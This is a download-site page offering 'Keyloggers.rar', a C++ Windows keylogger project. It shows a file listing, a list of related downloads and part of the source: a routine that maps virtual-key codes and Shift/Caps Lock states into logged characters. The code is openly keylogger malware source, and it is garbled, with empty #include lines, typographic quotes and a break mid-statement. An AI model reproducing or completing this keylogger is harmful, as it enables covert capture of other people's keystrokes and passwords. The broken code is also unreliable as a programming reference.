资源简介
Keyloggers.rar
代码片段和文件信息
#include
#include
#include
#include
#include
using namespace std;
string GetKey(int Key) // 判断键盘按下什么键
{
string KeyString = ““;
const int KeyPressMask=0x80000000; //键盘掩码常量
int iShift=GetKeyState(0x10); //判断Shift键状态
bool IS=(iShift & KeyPressMask)==KeyPressMask; //表示按下Shift键
if (Key >=48 && Key <= 57) // 键盘数字:0-9及上方的符号
{
if(IS)
{
switch(Key)
{
case 48:{KeyString = “)“;}break; //0
case 49:{KeyString = “!“;}break; //1
case 50:{KeyString = “@“;}break; //2
case 51:{KeyString = “#“;}break; //3
case 52:{KeyString = “$“;}break; //4
case 53:{KeyString = “%“;}break; //5
case 54:{KeyString = “^“;}break; //6
case 55:{KeyString = “&“;}break; //7
case 56:{KeyString = “*“;}break; //8
case 57:{KeyString = “(“;}break; //9
}
}
else
KeyString = Key;
}
//对字母的大小写进行判断
if (Key >=97 && Key <= 122) // 字母:a-z
{
if (GetKeyState(VK_CAPITAL)) // 大写锁定
{
if(IS) {KeyString = Key;}else{KeyString = Key - 32;} //Shift按下:为小写字母 否则 大写字母
}
else// 大写没有锁定
{
if(IS){KeyString = Key - 32;}else{KeyString = Key;} // 按下Shift键: 大写字母 否则 小写字母
}
}
if(Key >=186 && Key <=222)
{
switch(Key)
{
case 186:{if(IS){KeyString = “:“;}else{KeyString = “;“;}}break;
case 187:{if(IS){KeyString = “+“;}else{KeyString = “=“;}}break;
case 188:{if(IS){KeyString = “<“;}else{KeyString = ““;}}break;
case 189:{if(IS){KeyString = “_“;}else{KeyString = “-“;}}break;
case 190:{if(IS){KeyString = “>“;}else{KeyString = “.“;}}break;
case 191:{if(IS){KeyString = “?“;}else{KeyString = “/“;}}break;
case 192:{if(IS){KeyString = “~“;}else{KeyString = “‘“;}}break;
case 219:{if(IS){KeyString = “{“;}else{KeyString = “[“;}}break;
case 220:{if(IS){KeyString = “|“;}else{KeyString = “\\“;}}break;
case 221:{if(IS){KeyString = ‘}‘;}else{KeyString = ‘]‘;}}break;
case 222:{if(IS){KeyString = ‘“‘;}else{KeyString = “‘“;}}break;
}
}
//判断键盘的第一行
if (Key == VK_ESCAPE){KeyString = “[Esc]“;} // 退出
if (Key == VK_F1){KeyString = “[F1]“;} // F1至F12
if (Key == VK_F2){KeyString = “[F2]“;}
if (Key == VK_F3){KeyString = “[F3]“;}
if (Key == VK_F4){KeyString = “[F4]“;}
if (Key == VK_F5){KeyString = “[F5]“;}
if (Key == VK_F6){KeyString = “[F6]“;}
if (Key == VK_F7){KeyString = “[F7]“;}
if (Key == VK_F8){KeyString = “[F8]“;}
if (Key == VK_F9){KeyString = “[F9]“;}
if (Key == VK_F10){KeyString = “[F10]“;}
if (Key == VK_F11){KeyString = “[F11]“;}
if (Key == VK_F12){KeyString = “[F12]“;}
if (Key == VK_SNAPSHOT){KeyString = “[PrScrn]“;} // 打印屏幕
if (Key == VK_SCROLL){KeyString = “[Scroll Lock]“;} // 滚动锁定
if (Key == VK_PAUSE){KeyString = “[Pause]“;} // 暂停、中断
if (Key == VK_CAPITAL){KeyString = “[Caps Lock]“;}
//控制键
if (Key == 8){KeyString = “[Backspace]“;} //<- 回格键
if (Key == VK_RETURN){KeyString = “[Enter]\n“;} // 回车键、换行
if (Key == VK_SPACE){KeyString = “[Space]“;} // 空格
if (Key
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 4330 2014-12-14 17:02 键盘记录器.dsp
文件 545 2014-12-16 20:24 键盘记录器.dsw
文件 6437 2014-12-16 20:27 主程序.cpp
----------- --------- ---------- ----- ----
11312 3
- 上一篇:没有了
- 下一篇:机器人轨迹仿真用三次B样条插值
相关资源
- 20160922165039934.rar
- office2007_visio.txt
- 新大话西游经典系列源代码
- Qt.rar
- w3gaje.rar
- 传奇脱机挂VC源码.rar
- sniffer.zip32759
- 可视化数据模板.zip
- 5965c34d001a3b28728a3619d45acd5c.zip
- 字符串格式化需求规格说明书
- 字符Unicode标准编码计算器.zip
- 2007年全国大学生数学建模竞赛B题.r
-
从数据库中读取数据自动生成xm
l - 软件工程期末复习资料
- WEB项目测试经验总结
- 毕业设计--封面+开题报告+代码+答辩
- 网上商城后台管理设计文档
- 人工神经网络水果识别
- CF卡启动卡制作工具
- 基于网络的教务教学管理系统的设计
- 用Delphi实现图片浏览功能
- 构造正规式1(0|1)*101相应的DFA.doc
- 文件程序传输源代码
- 五子棋终结者
- 算法竞赛入门经典(第二版)pdf+源码
- 国立交通大学线性代数前三章视频.
- Stata15mp绿色中文版地址.txt
- _Socket_服务端向指定的客户端发送消息
- 8bd41aa69cfd0ca155ebcfa513c37e1c.txt
- rws43v.rar
评论
共有 条评论